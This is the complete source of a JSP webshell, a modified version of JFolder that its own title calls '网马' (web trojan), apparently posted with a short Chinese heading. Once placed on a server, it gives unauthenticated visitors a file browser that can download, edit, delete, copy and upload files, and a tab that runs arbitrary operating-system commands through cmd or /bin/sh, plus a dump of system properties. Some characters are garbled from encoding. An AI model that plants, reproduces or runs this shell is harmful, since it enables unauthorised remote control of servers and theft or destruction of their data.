webshell(jsp版)简单的文件管理,可执行shell

<%
/**
websell V1.1  windows platform
@Filename： webshell.jsp
*/
%>
<%@page contentType="text/html;charset=gbk"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //Language,0 : Chinese; 1:English
String strThisFile="";
String strSeparator = File.separator;
String[] authorInfo={" <font color=red> JFolder改编版 by 盛璐禕</font>"," <font color=red>  </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存","Save"};

public class FileHandler
{
 private String strAction="";
 private String strFile="";
 void FileHandler(String action,String f)
 {
 
 }
}

public static class UploadMonitor {

  static Hashtable uploadTable = new Hashtable();

  static void set(String fName, UplInfo info) {
   uploadTable.put(fName, info);
  }

  static void remove(String fName) {
   uploadTable.remove(fName);
  }

  static UplInfo getInfo(String fName) {
   UplInfo info = (UplInfo) uploadTable.get(fName);
   return info;
  }
}

public class UplInfo {

  public long totalSize;
  public long currSize;
  public long starttime;
  public boolean aborted;

  public UplInfo() {
   totalSize = 0l;
   currSize = 0l;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public UplInfo(int size) {
   totalSize = size;
   currSize = 0;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public String getUprate() {
   long time = System.currentTimeMillis() - starttime;
   if (time != 0) {
    long uprate = currSize * 1000 / time;
    return convertFileSize(uprate) + "/s";
   }
   else return "n/a";
  }

  public int getPercent() {
   if (totalSize == 0) return 0;
   else return (int) (currSize * 100 / totalSize);
  }

  public String getTimeElapsed() {
   long time = (System.currentTimeMillis() - starttime) / 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

  public String getTimeEstimated() {
   if (currSize == 0) return "n/a";
   long time = System.currentTimeMillis() - starttime;
   time = totalSize * time / currSize;
   time /= 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

 }

 public class FileInfo {

  public String name = null, clientFileName = null, fileContentType = null;
  private byte[] fileContents = null;
  public File file = null;
  public StringBuffer sb = new StringBuffer(100);

  public void setFileContents(byte[] aByteArray) {
   fileContents = new byte[aByteArray.length];
   System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  }
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

  private final String lineSeparator = System.getProperty("line.separator", "/n");
  private final int ONE_MB = 1024 * 1;

  public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    int clength) throws IllegalArgumentException, IOException {
   if (is == null) throw new IllegalArgumentException("InputStream");
   if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
     "/"" + boundary + "/" is an illegal boundary indicator");
   boundary = "--" + boundary;
   StringTokenizer stLine = null, stFields = null;
   FileInfo fileInfo = null;
   Hashtable dataTable = new Hashtable(5);
   String line = null, field = null, paramName = null;
   boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
   boolean isFile = false;
   if (saveFiles) { // Create the required directory (including parent dirs)
    File f = new File(saveInDir);
    f.mkdirs();
   }
   line = getLine(is);
   if (line == null || !line.startsWith(boundary)) throw new IOException(
     "Boundary not found; boundary = " + boundary + ", line = " + line);
   while (line != null) {
    if (line == null || !line.startsWith(boundary)) return dataTable;
    line = getLine(is);
    if (line == null) return dataTable;
    stLine = new StringTokenizer(line, ";/r/n");
    if (stLine.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    line = stLine.nextToken().toLowerCase();
    if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
      "Bad data in second line");
    stFields = new StringTokenizer(stLine.nextToken(), "=/"");
    if (stFields.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    fileInfo = new FileInfo();
    stFields.nextToken();
    paramName = stFields.nextToken();
    isFile = false;
    if (stLine.hasMoreTokens()) {
     field = stLine.nextToken();
     stFields = new StringTokenizer(field, "=/"");
     if (stFields.countTokens() > 1) {
      if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
       fileInfo.name = paramName;
       String value = stFields.nextToken();
       if (value != null && value.trim().length() > 0) {
        fileInfo.clientFileName = value;
        isFile = true;
       }
       else {
        line = getLine(is); // Skip "Content-Type:" line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Position to boundary line
        continue;
       }
      }
     }
     else if (field.toLowerCase().indexOf("filename") >= 0) {
      line = getLine(is); // Skip "Content-Type:" line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Position to boundary line
      continue;
     }
    }
    boolean skipBlankLine = true;
    if (isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     if (line.trim().length() < 1) skipBlankLine = false;
     else {
      stLine = new StringTokenizer(line, ": ");
      if (stLine.countTokens() < 2) throw new IllegalArgumentException(
        "Bad data in third line");
      stLine.nextToken(); // Content-Type
      fileInfo.fileContentType = stLine.nextToken();
     }
    }
    if (skipBlankLine) {
     line = getLine(is);
     if (line == null) return dataTable;
    }
    if (!isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     dataTable.put(paramName, line);
     // If parameter is dir, change saveInDir to dir
     if (paramName.equals("dir")) saveInDir = line;
     line = getLine(is);
     continue;
    }
    try {
     UplInfo uplInfo = new UplInfo(clength);
     UploadMonitor.set(fileInfo.clientFileName, uplInfo);
     OutputStream os = null;
     String path = null;
     if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
       fileInfo.clientFileName));
     else os = new ByteArrayOutputStream(ONE_MB);
     boolean readingContent = true;
     byte previousLine[] = new byte[2 * ONE_MB];
     byte temp[] = null;
     byte currentLine[] = new byte[2 * ONE_MB];
     int read, read3;
     if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
      line = null;
      break;
     }
     while (readingContent) {
      if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
       line = null;
       uplInfo.aborted = true;
       break;
      }
      if (compareBoundary(boundary, currentLine)) {
       os.write(previousLine, 0, read - 2);
       line = new String(currentLine, 0, read3);
       break;
      }
      else {
       os.write(previousLine, 0, read);
       uplInfo.currSize += read;
       temp = currentLine;
       currentLine = previousLine;
       previousLine = temp;
       read = read3;
      }//end else
     }//end while
     os.flush();
     os.close();
     if (!saveFiles) {
      ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
      fileInfo.setFileContents(baos.toByteArray());
     }
     else fileInfo.file = new File(path);
     dataTable.put(paramName, fileInfo);
     uplInfo.currSize = uplInfo.totalSize;
    }//end try
    catch (IOException e) {
     throw e;
    }
   }
   return dataTable;
  }

  /**
   * Compares boundary string to byte array
   */
  private boolean compareBoundary(String boundary, byte ba[]) {
   byte b;
   if (boundary == null || ba == null) return false;
   for (int i = 0; i < boundary.length(); i++)
    if ((byte) boundary.charAt(i) != ba[i]) return false;
   return true;
  }

  /** Convenience method to read HTTP header lines */
  private synchronized String getLine(ServletInputStream sis) throws IOException {
   byte b[] = new byte[1024];
   int read = sis.readLine(b, 0, b.length), index;
   String line = null;
   if (read != -1) {
    line = new String(b, 0, read);
    if ((index = line.indexOf('/n')) >= 0) line = line.substring(0, index - 1);
   }
   return line;
  }

  public String getFileName(String dir, String fileName) throws IllegalArgumentException {
   String path = null;
   if (dir == null || fileName == null) throw new IllegalArgumentException(
     "dir or fileName is null");
   int index = fileName.lastIndexOf('/');
   String name = null;
   if (index >= 0) name = fileName.substring(index + 1);
   else name = fileName;
   index = name.lastIndexOf('//');
   if (index >= 0) fileName = name.substring(index + 1);
   path = dir + File.separator + fileName;
   if (File.separatorChar == '/') return path.replace('//', File.separatorChar);
   else return path.replace('/', File.separatorChar);
  }
} //End of class HttpMultiPartParser

String formatPath(String p)
{
 StringBuffer sb=new StringBuffer();
 for (int i = 0; i < p.length(); i++)
 {
  if(p.charAt(i)=='//')
  {
   sb.append("");
  }
  else
  {
   sb.append(p.charAt(i));
  }
 }
 return sb.toString();
}

 /**
  * Converts some important chars (int) to the corresponding html string
  */
 static String conv2Html(int i) {
  if (i == '&') return "&amp;";
  else if (i == '<') return "&lt;";
  else if (i == '>') return "&gt;";
  else if (i == '"') return "&quot;";
  else return "" + (char) i;
 }

 /**
  * Converts a normal string to a html conform string
  */
 static String htmlEncode(String st) {
  StringBuffer buf = new StringBuffer();
  for (int i = 0; i < st.length(); i++) {
   buf.append(conv2Html(st.charAt(i)));
  }
  return buf.toString();
 }
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
 StringBuffer sb=new StringBuffer(strDrivers[languageNo] + ":");
 File roots[]=File.listRoots();
 for(int i=0;i<roots.length;i++)
 {
  sb.append("&nbsp;<a href=/"javascript:doForm('','"+roots[i]+strSeparator+"','','','1','');/">");
  sb.append(roots[i]+"</a>&nbsp;");
 }
 return sb.toString();
}
static String convertFileSize(long filesize)
{
 String strUnit="Bytes";
 String strAfterComma="";
 int intDivisor=1;
 if(filesize>=1024*1024)
 {
  strUnit = "MB";
  intDivisor=1024*1024;
 }
 else if(filesize>=1024)
 {
  strUnit = "KB";
  intDivisor=1024;
 }
 if(intDivisor==1) return filesize + " " + strUnit;
 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
 if(strAfterComma=="") strAfterComma=".0";
 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();

 

//out.print(strPath);
if((tabID==null) || tabID.equals(""))
{
 tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
 strDir = request.getRealPath("/");
}

if(strAction!=null && strAction.equals("down"))
{
 File downloadfile = new File(strPath);
    response.setContentType("APPLICATION/OCTET-STREAM");    
    response.setHeader("Content-Disposition","attachment;filename=/""+strPath.substring(strPath.lastIndexOf("//")+1,strPath.length())+"/"");    
    FileInputStream fileInputStream = new FileInputStream(downloadfile);    
    int totalRead = 0;  
    int readBytes = 0;  
    long fileLen = downloadfile.length();  
    byte b[] = new byte[65000];
    response.resetBuffer();  
    while((long)totalRead   <   fileLen)  
    {  
     readBytes = fileInputStream.read(b);  
        totalRead += readBytes;  
        response.getOutputStream().write(b,0,readBytes);  
    }  
    fileInputStream.close();
    out.clear();
    out = pageContext.pushBody();
}

if(strAction!=null && strAction.equals("del"))
{
 File f=new File(strPath);
 f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
 String ext = strPath.substring(strPath.lastIndexOf(".")+1,strPath.length());
 if(ext.equalsIgnoreCase("txt")||ext.equalsIgnoreCase("sql")||ext.equalsIgnoreCase("css")||
    ext.equalsIgnoreCase("xml")||ext.equalsIgnoreCase("tld")||ext.equalsIgnoreCase("cfg")||
    ext.equalsIgnoreCase("jsp")||ext.equalsIgnoreCase("htm")||ext.equalsIgnoreCase("properties")||
    ext.equalsIgnoreCase("html")||ext.equalsIgnoreCase("htm")||ext.equalsIgnoreCase("js")||
    ext.equalsIgnoreCase("ini")||ext.equalsIgnoreCase("java")){
  File f=new File(strPath);
  BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
  sbEdit.append("<form name='frmEdit' action='' method='POST'>/r/n");
  sbEdit.append("<input type=hidden name=action value=save >/r/n");
  sbEdit.append("<input type=hidden name=path value='"+strDir+"' >/r/n");
  sbEdit.append("<input type=hidden name=file value='"+strFile+"' >/r/n");
  sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
  sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> &nbsp;"+strPath+"/r/n");
  sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
  String line="";
  while((line=br.readLine())!=null)
  {
   sbEdit.append(htmlEncode(line)+"/r/n"); 
  }
  br.close();
     sbEdit.append("</textarea>");
  sbEdit.append("<input type=hidden name=path value="+strDir+">");
  sbEdit.append("</form>");
 }else{
  sbEdit.append("文件无法打开:<br>");
  sbEdit.append(strPath+"<br>");
 }
}

if(strAction!=null && strAction.equals("save"))
{
 File f=new File(strPath);
 BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
 String strContent=request.getParameter("content");
 bw.write(strContent);
 bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
 File f=new File(strPath);
 sbCopy.append("<br><form name='frmCopy' action='' method='POST'>/r/n");
 sbCopy.append("<input type=hidden name=action value=savecopy >/r/n");
 sbCopy.append("<input type=hidden name=path value='"+strDir+"' >/r/n");
 sbCopy.append("<input type=hidden name=file value='"+strFile+"' >/r/n");
 sbCopy.append("原始文件： "+strPath+"<p>");
 sbCopy.append("目标文件： <input type=text name=file2 size=40 value='"+strDir+"'><p>");
 sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
 sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> <p>&nbsp;/r/n");
 sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
 File f=new File(strPath);
 String strDesFile=request.getParameter("file2");
 if(strDesFile==null || strDesFile.equals(""))
 {
  sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
 }
 else
 {
  File f_des=new File(strDesFile);
  if(f_des.isFile())
  {
   sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
  }
  else
  {
   String strTmpFile=strDesFile;
   if(f_des.isDirectory())
   {
    if(!strDesFile.endsWith(strSeparator))
    {
     strDesFile=strDesFile+strSeparator;
    }
    strTmpFile=strDesFile+"copy of "+strFile;
    }
  
   File f_des_copy=new File(strTmpFile);
   FileInputStream in1=new FileInputStream(f);
   FileOutputStream out1=new FileOutputStream(f_des_copy);
   byte[] buffer=new byte[1024];
   int c;
   while((c=in1.read(buffer))!=-1)
   {
    out1.write(buffer,0,c);
   }
   in1.close();
   out1.close();
 
   sbSaveCopy.append("原始文件 ："+strPath+"<p>");
   sbSaveCopy.append("目标文件 ："+strTmpFile+"<p>");
   sbSaveCopy.append("<font color=red>复制成功！</font>");  
  } 
 }
 sbSaveCopy.append("<p><input type=button name=saveCopyBack οnclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
 String strF=request.getParameter("fileName");
 if(!(strF==null || strF.equals("")))
 { 
   File f_new=new File(strF);  
   if(!f_new.mkdirs())
    sbNewFile.append(strF+" 目录创建失败");
 }
 else
 {
  sbNewFile.append("<p><font color=red>请输入完整路径及文件夹名称</font>");
 }
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
 String tempdir=".";
 boolean error=false;
 response.setContentType("text/html");
 HttpMultiPartParser parser = new HttpMultiPartParser();

 int bstart = request.getContentType().lastIndexOf("oundary=");
 String bound = request.getContentType().substring(bstart + 8);
 int clength = request.getContentLength();
 Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
 if (ht.get("cqqUploadFile") != null)
 {

  FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  File f1 = fi.file;
  UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  if (info != null && info.aborted)
  {
   f1.delete();
   request.setAttribute("error", "Upload aborted");
  }
  else
  {
   String path = (String) ht.get("path");
  
   if(path!=null && !path.endsWith(strSeparator))
    path = path + strSeparator;
    strDir = path;
   //out.println(path + f1.getName());
   if (!f1.renameTo(new File(path + f1.getName())))
   {
    request.setAttribute("error", "Cannot upload file.");
    out.println("error,upload ");
    error = true;
    f1.delete();
   }
  }
 }
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

Stop editting

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.οnlοad=do_onload

 

</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
 document.frmCqq.action.value=action;
 document.frmCqq.path.value=path;
 document.frmCqq.file.value=file;
 document.frmCqq.cmd.value=cmd;
 document.frmCqq.tabID.value=tab;
 document.frmCqq.content.value=content;
 if(action=="del")
 {
  if(confirm("确定要删除文件 "+file+" 吗？"))
  document.frmCqq.submit();
 }
 else
 {
  document.frmCqq.submit();   
 }
}
</script>

<title>stlouisy-webshell(网马)-JFolder改编版</title>
<head>

<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="#" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="#" onClick="return expandcontent('menu2', this)"> <%=strCommand[languageNo]%> </a></li>
<li><a href="#" onClick="return expandcontent('menu3', this)"> <%=strSysProperty[languageNo]%> </a></li>
</ul>
<!--Top Menu End-->

<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
int filenum = 0;
String filelen = "";
long filelong = 0;
try
{
 File objFile = new File(strDir);
 File list[] = objFile.listFiles();
 if(objFile.getAbsolutePath().length()>3)
 {
  sbFolder.append("<tr><td >&nbsp;</td><td><a href=/"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');/">");
  sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>/r/n ");

 }
 for(int i=0;i<list.length;i++)
 {
  if(list[i].isDirectory())
  {
   sbFolder.append("<tr><td >&nbsp;</td><td>");
   sbFolder.append("  <a href=/"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');/">");
   sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
  }
  else
  {
   filenum++;
      String strLen="";
   String strDT="";
   long lFile=0;
   lFile=list[i].length();
   filelong += lFile;
   strLen = convertFileSize(lFile);
   Date dt=new Date(list[i].lastModified());
   strDT=dt.toLocaleString();
   sbFile.append("<tr οnmοuseοver=/"this.style.backgroundColor='#FBFFC6'/" οnmοuseοut=/"this.style.backgroundColor='white'/"><td>");
   sbFile.append(""+list[i].getName());
   sbFile.append("</td><td>");
   sbFile.append(""+strLen);
   sbFile.append("</td><td>");
   sbFile.append(""+strDT);
   sbFile.append("</td><td>");

   sbFile.append(" <a href=/"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");
   sbFile.append(strFileEdit[languageNo]+"</a> ");

   sbFile.append(" <a href=/"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");
   sbFile.append(strFileDel[languageNo]+"</a> ");

   sbFile.append(" <a href=/"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");
   sbFile.append(strFileDown[languageNo]+"</a> ");

   sbFile.append(" <a href=/"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');/">");
   sbFile.append(strFileCopy[languageNo]+"</a> ");
  } 

 }
 if(filelong>1000000)
 {
  filelong=filelong/1000000;
  filelen="<font color=#FF0000>" + filelong + "</font> M";
 }
 else if(filelong>1000)
 {
  filelong=filelong/1000;
  filelen="<font color=#FF0000>" + filelong + "</font> K";
 }
 else
 {
  filelen="<font color=#FF0000>" + filelong + "</font> Byte";
 }
}
catch(Exception e)
{
 out.println("<font color=red>操作失败： "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">

<div id="menu3" class="tabcontent">
<%Properties props=System.getProperties();%>
   <center>
   <table cellpadding="0" cellspacing="0" border="0">
    <tr>
     <td><h1><%=props.getProperty("user.name")%> Operation System</h1><br></td>
    </tr>
   </table>
   </center>
 <%
    out.println("<h3>操作系统的名称："+props.getProperty("os.name")+"  构架："+props.getProperty("os.arch")+"  版本："+props.getProperty("os.version")+"</h3>");   
 
    out.println("用户的账户名称："+props.getProperty("user.name")+"<br>");   
    out.println("用户的主目录："+props.getProperty("user.home")+"<br>");
   
    out.println("用户的当前工作目录："+props.getProperty("user.dir")+"<br>"); 
   
    out.println("Java的运行环境版本："+props.getProperty("java.version")+"<br>");   
    out.println("Java的运行环境供应商："+props.getProperty("java.vendor")+"<br>");   
    out.println("Java供应商的URL："+props.getProperty("java.vendor.url")+"<br>");   
    out.println("Java的安装路径："+props.getProperty("java.home")+"<br>");   
    out.println("Java的虚拟机规范版本："+props.getProperty("java.vm.specification.version")+"<br>");   
    out.println("Java的虚拟机规范供应商："+props.getProperty("java.vm.specification.vendor")+"<br>");   
    out.println("Java的虚拟机规范名称："+props.getProperty("java.vm.specification.name")+"<br>");   
    out.println("Java的虚拟机实现版本："+props.getProperty("java.vm.version")+"<br>");   
    out.println("Java的虚拟机实现供应商："+props.getProperty("java.vm.vendor")+"<br>");   
    out.println("Java的虚拟机实现名称："+props.getProperty("java.vm.name")+"<br>");   
    out.println("Java运行时环境规范版本："+props.getProperty("java.specification.version")+"<br>");   
    out.println("Java运行时环境规范供应商："+props.getProperty("java.specification.vender")+"<br>");   
    out.println("Java运行时环境规范名称："+props.getProperty("java.specification.name")+"<br>");   
    out.println("Java的类格式版本号："+props.getProperty("java.class.version")+"<br>");   
    out.println("Java的类路径："+props.getProperty("java.class.path")+"<br>");   
    out.println("加载库时搜索的路径列表："+props.getProperty("java.library.path")+"<br>");   
    out.println("默认的临时文件路径："+props.getProperty("java.io.tmpdir")+"<br>");   
    out.println("一个或多个扩展目录的路径："+props.getProperty("java.ext.dirs")+"<br>");   
  
    out.println("文件分隔符："+props.getProperty("file.separator")+"<br>");    //在 unix 系统中是＂／＂   
    out.println("路径分隔符："+props.getProperty("path.separator")+"<br>");    //在 unix 系统中是＂:＂   
    out.println("行分隔符："+props.getProperty("line.separator")+"<br>");

 %>
</div>

<div id="menu4" class="tabcontent">
</div>

<br><div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td>" + getDrivers() + "</td></tr></table>/r/n");
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+":"+strDir+"</td></tr></table>/r/n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
      
        <tr>
          <td width="25%" align="center" valign="top">
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
     <%=sbFolder%>             
              </table>
          <br><br></td>
          <td width="81%" align="left" valign="top">
 
 <%
 if(strAction!=null && strAction.equals("edit"))
 {
  out.println(sbEdit.toString());
 }
 else if(strAction!=null && strAction.equals("copy"))
 {
  out.println(sbCopy.toString());
 }
 else if(strAction!=null && strAction.equals("down"))
 {
  out.println(sbDown.toString());
 }
 else if(strAction!=null && strAction.equals("savecopy"))
 {
  out.println(sbSaveCopy.toString());
 }
 else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
 {
  out.println(sbNewFile.toString());
 }
 else
 {
 %>
  <span id="EditBox"><table width="100%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6">
                <td width="30%"><%=strFileName[languageNo]%><br><br></td>
                <td width="20%"><%=strFileSize[languageNo]%><br><br></td>
                <td width="25%"><%=strLastModified[languageNo]%><br><br></td>
                <td width="25%"><%=strFileOperation[languageNo]%><br><br></td>
              </tr>             
            <%=sbFile%>
              <tr align="center">
                <td colspan="4"><br>
                  总计文件个数：<font color="#FF0000"><%=filenum%></font> ，大小：<%=filelen%><br></td>
              </tr>
            </table>
   </span>
 <%
 } 
 %>

          <br><br></td>
        </tr>
 <tr><td colspan=2 bgcolor=#FBFFC6>
 <form name="frmMake" action="" method="post" style="margin: 0px">
 <input type="hidden" name="action" value="newFile">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <%
 if(!strDir.endsWith(strSeparator))
 strDir = strDir + strSeparator;
 %>
 <input type="text" name="fileName" size=50 value="<%=strDir%>">
 <input type="submit" name="btnNewDir" value="新建目录">
 </form> 
 <form name="frmUpload" enctype="multipart/form-data" action="" method="post" style="margin: 0px">
 <input type="hidden" name="action" value="upload">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <input type="file" name="cqqUploadFile" size="50">
 <input type="submit" name="submit" value="上传">
 </form>
 </td></tr>
      </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null)
{
 try
 {
  //out.println(strCmd);
  String[] strShell=new String[2];
  if(strOS.startsWith("win"))
  {
   strShell[0]="cmd";
   strShell[1]="/c";
  }
  else
  {
   strShell[0]="/bin/sh";
   strShell[1]="-c";
  }
  String[] strCommand=new String[3];
  strCommand[0]=strShell[0];
  strCommand[1]=strShell[1];
  strCommand[2]=strCmd;
  //System.out.println(strCommand);
  Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir));
  BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  while((line=br.readLine())!=null)
  {
   sbCmd.append(line+"/r/n"); 
  }   
 }
 catch(Exception e)
 {
  System.out.println(e.toString());
 }
}
else
{
 strCmd = "set";
}

%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="path" value="<%=strDir%>">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV></div>
<br><br><center><a href="http://www.17dmt.com" target="_blank">数字营销网络学院</a> ,All Rights Reserved.
<br>Any question, please email me